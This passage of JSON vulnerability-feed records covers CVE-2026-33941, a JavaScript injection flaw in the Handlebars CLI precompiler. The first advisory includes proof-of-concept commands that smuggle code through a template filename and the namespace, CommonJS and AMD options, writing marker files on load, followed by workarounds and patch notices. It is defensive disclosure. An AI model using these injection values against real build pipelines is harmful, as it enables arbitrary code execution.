Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' \u003e \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")'  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T18:22:10Z","modified":"2026-09-10T03:50:41.826443397Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-116","CWE-79","CWE-94"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"ROOT-APP-NPM-CVE-2026-33941","title":"CVE-2026-33941 in handlebars - Patched by Root","description":"Root has patched CVE-2026-33941 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-15T16:35:43Z","modified":"2026-10-15T17:15:04.072524162Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-7rx3-28cr-v5wh","title":"GHSA-7rx3-28cr-v5wh in handlebars - Patched by Root","description":"Root has patched GHSA-7rx3-28cr-v5wh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-15T16:35:43Z","modified":"2026-10-15T17:15:03.265448164Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"UBUNTU-CVE-2026-33941","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","status":"published","published":"2026-03-27T22:16:00Z","modified":"2026-10-17T12:58:51.181416932Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1777163884","title":"TuxCare security update for handlebars (2 CVEs)","description":"TuxCare rebuilt handlebars to address 2 CVEs. Fixed in 3.0.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:28Z","modified":"2026-10-15T09:45:48.681742832Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1782349135","title":"TuxCare security update for handlebars (8 CVEs)","description":"TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:10.129115848Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782435546","title":"TuxCare security update for handlebars (8 CVEs)","description":"TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.8-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:10.153121357Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1785117463","title":"TuxCare security update for handlebars (5 CVEs)","description":"TuxCare rebuilt handlebars to address 5 CVEs. Fixed in 3.0.8-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:36.940994671Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1792139237","title":"TuxCare security update for handlebars (7 CVEs)","description":"TuxCare rebuilt handlebars to address 7 CVEs. Fixed in 4.5.3-tuxcare.3.","status":"published","published":"2026-10-16T08:27:17Z","modified":"2026-10-16T12:15:03.193874365Z","updated_at":"2026-11-02T15:43:50.949147Z"}]}}
